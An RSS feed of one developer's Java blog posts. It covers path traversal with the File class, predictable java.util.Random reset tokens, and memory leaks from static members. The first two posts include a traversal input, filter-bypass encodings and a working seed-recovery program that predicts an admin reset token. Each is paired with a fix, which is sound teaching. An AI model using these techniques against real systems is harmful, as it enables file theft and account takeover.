<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Arpan Bandyopadhyay</title>
    <description>The latest articles on DEV Community by Arpan Bandyopadhyay (@arpanforgeek).</description>
    <link>https://dev.to/arpanforgeek</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F774412%2Fc0d2fb95-fb0c-42a6-8904-af954411eff2.jpg</url>
      <title>DEV Community: Arpan Bandyopadhyay</title>
      <link>https://dev.to/arpanforgeek</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/arpanforgeek"/>
    <language>en</language>
    <item>
      <title>Potential path traversal vulnerability when using File class and its solution</title>
      <dc:creator>Arpan Bandyopadhyay</dc:creator>
      <pubDate>Mon, 12 Jun 2023 11:53:31 +0000</pubDate>
      <link>https://dev.to/arpanforgeek/potential-path-traversal-vulnerability-when-using-file-class-and-its-solution-3n6e</link>
      <guid>https://dev.to/arpanforgeek/potential-path-traversal-vulnerability-when-using-file-class-and-its-solution-3n6e</guid>
      <description>&lt;p&gt;&lt;strong&gt;What is path/directory traversal?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Directory traversal (also known as file path traversal) is a web security vulnerability that allows an attacker to read arbitrary files on the server that is running an application. This might include application code and data, credentials for back-end systems, and sensitive operating system files. In some cases, an attacker might be able to write to arbitrary files on the server, allowing them to modify application data or behavior, and ultimately take full control of the server.&lt;/p&gt;

&lt;p&gt;In Java, a file API can take a filename as the second argument and construct the file path based on the directory specified in the first argument. If the applications place user input into file paths, this could result in a path traversal attack. An attacker might try to manipulate the file path using special characters in the user input.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs83boggraw3qixpwo7j1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs83boggraw3qixpwo7j1.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here , I have created a small POC to demonstrate the vulnerability.&lt;br&gt;
I have created a text file "&lt;strong&gt;pass&lt;/strong&gt;" inside “&lt;strong&gt;C:\Users&lt;/strong&gt;” and stored 1234 inside it .&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1ep9bq2l95sujfh3iwv7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1ep9bq2l95sujfh3iwv7.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Also I have created another text file named "&lt;strong&gt;test&lt;/strong&gt;" inside “&lt;strong&gt;C:\Users\arpan.bandyopadhyay\myfiles&lt;/strong&gt;” and stored “&lt;strong&gt;arpan&lt;/strong&gt;” inside it. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftbc876ld3mnddf5hxqsg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftbc876ld3mnddf5hxqsg.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now assume that our requirement is to develop one java code using which we can access and read the files present inside “&lt;strong&gt;C:\Users\arpan.bandyopadhyay\myfiles&lt;/strong&gt;” . In my case I am reading “&lt;strong&gt;test&lt;/strong&gt;” file .&lt;/p&gt;

&lt;p&gt;*&lt;em&gt;Here is my java code . (Non Compliant) *&lt;/em&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

import java.io.*;
public class Filecano1 {
    public static void main(String[] args) throws IOException {
        File file = new File("C:\\Users\\arpan.bandyopadhyay\\myfiles", "test.txt");

            BufferedReader br
                    = new BufferedReader(new FileReader(file));

            // Declaring a string variable
            String st;
            // Condition holds true till
            // there is character in a string
            while ((st = br.readLine()) != null)

                // Print the string
                System.out.println(st);
        }
    }


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;If I execute the above code I can see content of the “&lt;strong&gt;test&lt;/strong&gt;” file , which is well and good. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faxu6qlu3rgveit4amfky.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faxu6qlu3rgveit4amfky.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;strong&gt;Then, where is the vulnerability ?&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;File&lt;/strong&gt; class present inside &lt;strong&gt;java.io&lt;/strong&gt; package is having below constructors : &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;File(File parent, String child)&lt;/strong&gt;&lt;br&gt;
Creates a new File instance from a parent abstract pathname and a child pathname string.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;File(String pathname)&lt;/strong&gt;&lt;br&gt;
Creates a new File instance by converting the given pathname string into an abstract pathname.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;File(String parent, String child)&lt;/strong&gt;&lt;br&gt;
Creates a new File instance from a parent pathname string and a child pathname string.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;File(URI uri)&lt;/strong&gt;&lt;br&gt;
Creates a new File instance by converting the given file: URI into an abstract pathname.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here , I am using &lt;strong&gt;File(String parent, String child)&lt;/strong&gt; constructor ,where first argument of the constructor is the base directory, and second argument is child directory path . In the above example, if the user can influence the value of child directory path , he/she can manipulate the value start with "../". An attacker might also use various non-standard encoding, such as &lt;strong&gt;..%c0%af&lt;/strong&gt;, &lt;strong&gt;..%252f&lt;/strong&gt;, or a null byte to bypass the input filter.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Now I will show you How Attacker can access and read files which is not present in the base location using the same above code “&lt;strong&gt;C:\Users\arpan.bandyopadhyay\myfiles&lt;/strong&gt;” but present in the system using the below code.&lt;/em&gt; &lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;


import java.io.*;
public class Filecano1 {
    public static void main(String[] args) throws IOException {
         File file = new File("C:\\Users\\arpan.bandyopadhyay\\myfiles", "..\\..\\pass.txt");
        System.out.println(file.getCanonicalPath());
            // process file
            BufferedReader br
                    = new BufferedReader(new FileReader(file));

            // Declaring a string variable
            String st;
            // Condition holds true till
            // there is character in a string
            while ((st = br.readLine()) != null)

                // Print the string
                System.out.println(st);
        }
    }


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Here we can see though I have specified the different base location/base directory , I am able to see the data which is present inside “&lt;strong&gt;C:\Users&lt;/strong&gt;” , This is &lt;strong&gt;vulnerable&lt;/strong&gt; . Files present inside this location, might include application code and data, credentials for back-end systems, and sensitive operating system files.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwqucfbvcx2ttu29hnn7z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwqucfbvcx2ttu29hnn7z.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;strong&gt;Now how to prevent this attack ?&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Ensure user inputs are properly sanitized by whitelisting permitted names and/or characters.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use &lt;strong&gt;getCanonicalPath()&lt;/strong&gt; method of the given file object and validate the file name against a list of valid benign for path names.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The &lt;strong&gt;getCanonicalPath()&lt;/strong&gt; method is a part of Path class. This function returns the Canonical pathname of the given file object. If the pathname of the file object is Canonical, then it simply returns the path of the current file object. The Canonical path is always absolute and unique, the function removes the &lt;strong&gt;‘.’ ‘..’&lt;/strong&gt; from the path, if present.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;See the below code :&lt;/strong&gt; &lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;

public class Filecano {

    public static void main(String[] args) throws IOException {
        File file = new File("C:\\Users\\arpan.bandyopadhyay\\myfiles", "..\\..\\pass.txt");

if(file.getCanonicalPath().startsWith("C:\\Users\\arpan.bandyopadhyay\\myfiles")) {
            // process file
            BufferedReader br
                    = new BufferedReader(new FileReader(file));

            // Declaring a string variable
            String st;
            // Condition holds true till
            // there is character in a string
            while ((st = br.readLine()) != null)

                // Print the string
                System.out.println(st);
        }
    }

}


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Here I used &lt;strong&gt;getCanonicalPath()&lt;/strong&gt; method of the given file object and validate the file name against Base directory path .&lt;/p&gt;

&lt;p&gt;Now here you can see canonical path is printed and as the child path does not start with base directory path , it does not execute the code inside IF block and we cant access and read the content of &lt;strong&gt;pass.txt&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffnobivyovjx2nzgv4hx6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffnobivyovjx2nzgv4hx6.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is how getCanonicalPath() helps us to prevent directory traversal attack.&lt;/p&gt;

&lt;p&gt;Let's connect:&lt;br&gt;
LinkedIn : &lt;a href="https://www.linkedin.com/in/arpan-bandyopadhyay-bb5b1a54/" rel="noopener noreferrer"&gt;https://www.linkedin.com/in/arpan-bandyopadhyay-bb5b1a54/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;** reference - internet, youtube vlogs.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
      <category>java</category>
      <category>security</category>
    </item>
    <item>
      <title>Is it safe to use java.util.Random to generate random key ?</title>
      <dc:creator>Arpan Bandyopadhyay</dc:creator>
      <pubDate>Mon, 05 Jun 2023 18:20:09 +0000</pubDate>
      <link>https://dev.to/arpanforgeek/is-it-safe-to-use-javautilrandom-to-generate-random-key--5cmj</link>
      <guid>https://dev.to/arpanforgeek/is-it-safe-to-use-javautilrandom-to-generate-random-key--5cmj</guid>
      <description>&lt;p&gt;&lt;strong&gt;Why Random class is vulnerable? **&lt;br&gt;
_&lt;/strong&gt;Let me explain using a real-world example: **_&lt;br&gt;
Every service has login mechanism also they have option to reset the password, &lt;br&gt;
&lt;em&gt;but how to do it?&lt;/em&gt;&lt;br&gt;
&lt;u&gt;Password reset functionality usually works more or less like below:&lt;/u&gt;&lt;br&gt;
• The user provides an email address associated with the account on the website.&lt;br&gt;
• At this point server checks whether such user exists at the data base or not.&lt;br&gt;
• If so - it generates a unique string, which is then saved and sent in an email.&lt;br&gt;
• Then user opens the mail and click on the link which contains the unique key.&lt;br&gt;
• The server verifies if the unique string is present at the database and if everything is correct you can change the password.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;*&lt;em&gt;Now how to generate the unique string? *&lt;/em&gt;&lt;/em&gt;&lt;br&gt;
Probably using Random function that lets us generate unique sequences.&lt;br&gt;
So let us generate unique sequence. The implementation looks like below ,&lt;br&gt;
Each time someone want to reset the password the &lt;em&gt;&lt;strong&gt;generateToken()&lt;/strong&gt;&lt;/em&gt; method is called and the result is saved to the database . &lt;br&gt;
&lt;strong&gt;So where is the vulnerability ?&lt;/strong&gt;&lt;br&gt;
The &lt;strong&gt;Random **class is a pseudo random number generator, that means based on a small amount of information, called **seed&lt;/strong&gt;, it generates &lt;strong&gt;deterministically consecutive pseudo random number&lt;/strong&gt;.&lt;br&gt;
The seed can be defined by the user or like in our case set automatically by java. So it is enough to guess what seed was used to be able to generate the next token on our computer.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Here is the sample code to generate the unique key using Random :&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

import java.util.Random;

public class PasswordGen {
    static  Random random = new Random();
    private static String generateToken(){
        return Integer.toString(random.nextInt());
    }

    public static void main(String[] args) {
        System.out.println(generateToken());
        System.out.println(generateToken());
        System.out.println(generateToken());

    }
}


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Now ,To guess the seed, we use the below code :&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

import java.util.Random;

public class DetermineNextNumber {

    // implemented after https://docs.oracle.com/javase/7/docs/api/java/util/Random.html
    public static int next(long seed) {
        int bits=32;
        long seed2 = (seed * 0x5DEECE66DL + 0xBL) &amp;amp; ((1L &amp;lt;&amp;lt; 48) - 1);
        return (int)(seed2 &amp;gt;&amp;gt;&amp;gt; (48 - bits));
    }

    public static void main(String[] args) {
        System.out.println("Starting");
        long i1 = 260136873;
        long i2 = -4253664;
        long seed =0;
        for (int i = 0; i &amp;lt; 65536; i++) {
            seed = i1 *65536 + i;
            if (next(seed) == i2) {
                System.out.println("Seed found: " + seed);
                break;
            }
        }
        Random random = new Random((seed ^ 0x5DEECE66DL) &amp;amp; ((1L &amp;lt;&amp;lt; 48) - 1));
        int o1 = random.nextInt();
        int o2 = random.nextInt();
        System.out.println("So we have that nextInt is: "+o1+" and the third one is: "+o2+" with seed: "+seed);

    }
}


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;It needs two consecutive numbers generated by the given Random class instances.&lt;strong&gt;_ How to get it ?_&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In our password reset functionality it is very simple .&lt;/p&gt;

&lt;p&gt;It is enough to ask for reset of the account to which we hold the permits for consecutive two times :&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Reset the account password&lt;/li&gt;
&lt;li&gt;Reset the account password&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;and the third time try to reset the admin account.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Reset the admin account password&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Next, we will read the first two unique keys from the email that we have access to and using those keys we can get the third (admin password reset key) key&lt;/p&gt;

&lt;p&gt;Now I am going to simulate the process by calling &lt;em&gt;&lt;strong&gt;generateToken()&lt;/strong&gt;&lt;/em&gt; function 3 times .&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwqe2yhhw7zo2kwm4bxr4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwqe2yhhw7zo2kwm4bxr4.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here are the Three unique keys generated by above code :&lt;br&gt;
&lt;strong&gt;1272513916&lt;br&gt;
-342388298&lt;br&gt;
-1733595076&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Now, I will introduce first two values into &lt;em&gt;&lt;strong&gt;DetermineNextNumber&lt;/strong&gt;&lt;/em&gt; class.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxezrwdvgeq363fbkewxu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxezrwdvgeq363fbkewxu.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Executing the code :&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3547j3yirnwm6wqewzbk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3547j3yirnwm6wqewzbk.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As you can see after few second, I can get potential value of the seeds as well as next pseudo number. In our case it is exactly same as the third key from our first code execution. In fact this is the unique identifier using which attacker can reset the admin account and exploit the application.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Now , what is the solution ?&lt;/strong&gt;&lt;br&gt;
Using  &lt;strong&gt;SecureRandom&lt;/strong&gt; class from &lt;strong&gt;java.security&lt;/strong&gt; package.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;u&gt;Difference between java.util.Random and java.security.SecureRandom&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The java.security.SecureRandom is a more secure version of java.util.Random, which provides a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG) in Java.&lt;/p&gt;

&lt;p&gt;java.security.SecureRandom is always preferred over java.util.Random for generating sensitive random numbers, such as generating an encryption key in a cryptographic application or session ID on a web server or in password generators to create highly secure passwords.&lt;/p&gt;

&lt;p&gt;Here are a few reasons why java.security.SecureRandom should be used in sensitive applications:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;java.util.Random implementations use a Linear Congruential Generator (LCG) to produce pseudorandom values, which are highly predictable.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;On the other hand, most java.security.SecureRandom implementations use a pseudorandom number generator (PRNG), which uses a deterministic algorithm to produce a pseudorandom sequence from a truly random seed.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;java.util.Random uses the system time for the seed. java.security.SecureRandom takes random data from an underlying operating system. In Linux/Solaris, the random numbers are created from the entropy pool by reading from /dev/random and /dev/urandom files.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If two instances of java.util.Random are created with the same seed, and the same sequence of method calls is made for each, they will generate and return identical sequences of numbers. This is not the case with java.security.SecureRandom, which seeds itself from sources of entropy obtained from the operating system, such as timings of I/O events, which are practically undetectable.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The java.util.Random class uses a 48-bit seed, whereas java.security.SecureRandom usually uses a 128-bit or 160-bit seed. Therefore, only 248 attempts are required to break the Random class, which might not even take a second on modern computers. On the other hand, 2128 or 2160 attempts will be required for SecureRandom, which would take years to break even with today’s CPUs computational power.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;java.security.SecureRandom produces non-deterministic output as it doesn’t depend upon the system clock for a seed value. So it is impossible to predict previous and future random numbers. java.util.Random, on the other hand, uses the system clock as the seed and can be easily reproduced if the time at which the seed was generated is known.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;LCGs are very fast and typically require only 32- or 64-bits to retain state. On the other hand, creating a java.security.SecureRandom instance is quite expensive than creating a java.util.Random instance and is about 30-50 times slower than Random.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Also, the generateSeed() and nextBytes() methods of SecureRandom may get blocked on Linux if not enough entropy is available and as entropy is being gathered in /dev/random file. Here’s what Wikipedia has to say:&lt;/p&gt;

&lt;p&gt;The generator keeps an estimate of the total number of bits of noise in the entropy pool. From this entropy pool, random numbers are created. When read, the /dev/random device will only return random bytes within the estimated number of bits of noise in the entropy pool. /dev/random should be suitable for uses that need very high-quality randomness, such as a one-time pad or key generation. When the entropy pool is empty, reads from /dev/random will block until additional environmental noise is gathered.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;It is worth noting that java.security.SecureRandom is a subclass of java.util.Random and inherits all nextX() methods from it, where X can be Boolean, Double, Float, Gaussian, Int, and Long.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Initialization of java.util.Random and java.security.SecureRandom:&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Random can be initialized as :&lt;/p&gt;

&lt;p&gt;Random rand = new Random(System.nanoTime());&lt;/p&gt;

&lt;p&gt;SecureRandom can be initialized as:&lt;/p&gt;

&lt;p&gt;SecureRandom rand = new SecureRandom(SecureRandom.getSeed(20));&lt;/p&gt;

&lt;p&gt;Here, the number 20 denotes 160-bit seed as 20 bytes = 160 bits.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Javadoc itself suggests to use java.security.SecureRandom to get a cryptographically secure pseudorandom number generator in security-sensitive applications.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That’s all about the differences between java.util.Random and java.security.SecureRandom.&lt;/p&gt;

&lt;p&gt;Let's connect:&lt;br&gt;
LinkedIn : &lt;a href="https://www.linkedin.com/in/arpan-bandyopadhyay-bb5b1a54/" rel="noopener noreferrer"&gt;https://www.linkedin.com/in/arpan-bandyopadhyay-bb5b1a54/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;** reference - internet, youtube vlogs.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>beginners</category>
      <category>programming</category>
      <category>java</category>
    </item>
    <item>
      <title>Memory Leak in Java</title>
      <dc:creator>Arpan Bandyopadhyay</dc:creator>
      <pubDate>Tue, 30 Aug 2022 10:30:00 +0000</pubDate>
      <link>https://dev.to/arpanforgeek/memory-leak-in-java-4gfn</link>
      <guid>https://dev.to/arpanforgeek/memory-leak-in-java-4gfn</guid>
      <description>&lt;p&gt;&lt;strong&gt;What is Memory Leak in Java ?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A Java memory leak happens when an application holds  object references that are no longer required. These accidental object references prevent the built-in Java garbage collection mechanism from freeing up the memory consumed by these objects , which eventually leads to a fatal &lt;em&gt;&lt;strong&gt;OutOfMemoryError&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;In short Memory Leak is&lt;/strong&gt; - Object reference which are no longer required , still present in HEAP memory and Garbage Collector is not able to remove them.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5cm1iuwpo5xssbb4j8nc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5cm1iuwpo5xssbb4j8nc.png" alt="Image description" width="800" height="444"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Most common scenarios where Memory Leak happens :&lt;/strong&gt; &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Not properly use of Static Members.&lt;/li&gt;
&lt;li&gt;Unclosed resources.&lt;/li&gt;
&lt;li&gt;Adding Objects with no hashCode() and equals() into a HashSet.&lt;/li&gt;
&lt;li&gt;Excessive session objects.&lt;/li&gt;
&lt;li&gt;Poorly writing of custom Data Structure.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Here we will discuss few of the above :&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;u&gt;&lt;strong&gt;1. Not properly use of Static Members:&lt;/strong&gt;&lt;/u&gt;&lt;/p&gt;

&lt;p&gt;Fields that have the static modifier in their declaration are called static fields or class variables. They are associated with the class, rather than with any object. When a variable is declared as static, then a single copy of the variable is created and shared among all objects at the class level. In Java, static fields have a life that usually matches the entire lifetime of the running application .Hence static members are related to Class , So Garbage collector can’t clean the memory space occupied by static members.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Here is one example :&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You can see here I have created one static ArrayList member called list and used that variable to store the String at line 10 . At line 19 , I have called Garbage Collector . Here I will demonstrate, though I have called Garbage Collector at line 19, garbage collector will not be able to clean up the Memory space for it .  To do this I have added debug point on line 12, line 16, line 18, line 20 .&lt;/p&gt;

&lt;p&gt;Lets execute the program :&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg6r8r4up5zp3o59ml3jp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg6r8r4up5zp3o59ml3jp.png" alt="Image description" width="800" height="478"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;At Line 18 , Notice how, at the very beginning, all memory is, of course, free. Then, the iteration process runs and finishes – loading everything into the list (naturally this will depend on the machine you’re running the test on). We can see the spike in the Graph (Right side).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5s3olx2uek9hjo6ggbys.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5s3olx2uek9hjo6ggbys.png" alt="Image description" width="800" height="419"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;At line 20 ,After a full garbage collection cycle is triggered, and the test continues to execute, to allow this cycle time to run and finish. As you can see, the list is not reclaimed and the memory consumption doesn’t go down.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqiyrq6qtbrbs33k95r3r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqiyrq6qtbrbs33k95r3r.png" alt="Image description" width="800" height="422"&gt;&lt;/a&gt;&lt;/p&gt;

